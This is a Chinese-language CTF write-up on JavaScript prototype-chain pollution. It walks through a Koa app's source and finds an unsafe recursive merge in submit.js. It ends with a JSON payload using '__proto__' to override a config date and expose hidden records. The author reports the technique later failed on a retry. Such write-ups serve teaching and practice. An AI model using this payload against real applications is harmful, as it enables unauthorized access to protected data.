js原型链污染可以导致未经授权的修改和访问JavaScript对象的属性和方法。它的发生是由于JS语言中原型继承的特性。在JavaScript中,每个对象都有一个原型(prototype),原型链是一种用于实现继承和属性访问的机制。每个对象都有一个指向其原型的内部链接。当查找对象的属性时,如果该对象本身没有该属性,JavaScript引擎会沿着原型链向上查找,直到找到属性或到达原型链的末端。
接下来解释一下js的继承机制,JavaScript中的原型链继承是一种对象之间共享属性和方法的机制。每个JavaScript对象都有一个指向其原型(prototype)对象的链接,通过这个链接可以实现属性和方法的继承。
当我们访问一个对象的属性或方法时,如果该对象本身没有定义该属性或方法,JavaScript引擎会自动在原型对象中查找。如果原型对象中也不存在,则继续在原型链上的上层原型对象中查找,直到找到该属性或方法或达到原型链的顶端为止。
以下是原型链继承的基本工作原理:
- 每个JavaScript对象都有一个内部属性
[[Prototype]]
,它指向该对象的原型对象。 - 当我们创建一个新对象时,JavaScript引擎会自动将该对象的
[[Prototype]]
设置为构造函数的prototype
属性的值。 - 如果我们访问一个对象的属性或方法,但该对象本身没有定义,JavaScript引擎会沿着原型链向上查找,直到找到该属性或方法或到达原型链的顶端(
null
)为止。 - 如果找到了属性或方法,它会被返回;如果未找到,则会返回
undefined
。
举个例子A有苹果雪梨,B有苹果,C有西瓜,ABC是一个原型链,这个原型链的继承机制相当于你找C要苹果雪梨,C没有去看B,B有苹果没有雪梨,在往上找A,A有雪梨,所以虽然C没有苹果雪梨,但是找C要C还是能从AB那里扣出来苹果雪梨给你,如果ABC都没有才是真没有。
代码示例:
const A = {
fruits: ['apple', 'pear']
};
const B = Object.create(A);
B.fruits = ['apple'];
const C = Object.create(B);
C.fruits = ['watermelon'];
当我们从 C 对象获取 fruits
属性时,尽管 C 对象本身没有该属性,但它可以通过原型链继承机制向上查找,并从 A 对象找到相应的值 ['apple', 'pear']
。
原型链污染是利用了原型链查找的机制来进行恶意修改。攻击者可以通过篡改JavaScript中的原型对象,将恶意代码注入到原型中,当其他对象通过原型链继承了被污染的原型对象时,它们也会受到影响,从而导致意外的行为或数据泄露。
回到这道题目,我们下载zip文件,首先点开app.js:
const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;
const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const app = new Koa();
app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})
module.exports = app;
1、在第四行const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");这表明引入了两个配置文件;
2、以下代码表明引入了 routes
文件夹下的两个文件:"info" 和 "submit":
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
这里使用了一个循环来遍历字符串数组 ["info", "submit"]
。对于数组中的每个元素 p
,利用 require
函数将位于 "./routes/" + p
的文件导入。这表示 routes
文件夹下的 info.js
和 submit.js
文件会被导入到代码中。然后使用 app.use
方法将导入的路由模块应用到 Koa 应用程序中,分别使用了 p.routes()
和 p.allowedMethods()
,表示使用路由模块的路由和允许的请求方法。
3、因此我们追踪到routes文件下的info.js和submit.js
info.js代码:
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}
try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
module.exports = router;
我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,其意思是使用 CONFIG
变量中的 min_public_time
属性(如果存在),否则使用 DEFAULT_CONFIG
变量中的 min_public_time
属性。
4、我们继续追踪config文件和config.default文件,发现CONFIG
变量中没有min_public_time
属性,所以会使用DEFAULT_CONFIG
变量中的 min_public_time
属性。
config.default文件:
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}
我们这里可以原型链污染污染min_public_time
为更早的日期,尝试绕过这个日期限制。
5、查看submit.js文件:
内容很多,这里放关键代码:
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
我们注意到在第7行中,如果key
既存在于dst
对象中,又存在于src
对象中,则会递归调用merge
函数将它们合并,否则dst[key]
会被赋值为src[key]
。这意味着如果src
对象的原型链上存在名为'min_public_time'
的属性,则该属性将被赋值给dst
对象,那么dst[key]
将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__
,它指向对象的原型。通过修改data['__proto__']['min_public_time']
的值,我们可以影响原型链上的属性。
6、因此我们提交那个加入购物车抓包,然后改包在post请求体哪里改成:
{
"date":"1","place":"1",
"contact":"11","reason":"11",
"__proto__": {
"min_public_time":" 2018-01-01"
}
}
然后回到网页把cookie值会话储存都清空,刷新然后点进会话储存,复制wishes的值出来即可看到flag(不过吧,有个小问题就是后面第二次开靶场的时候用了同样的手法不成功,偷了几个别人wp里的payload用也不成功(O.o?))
如有错误欢迎指出!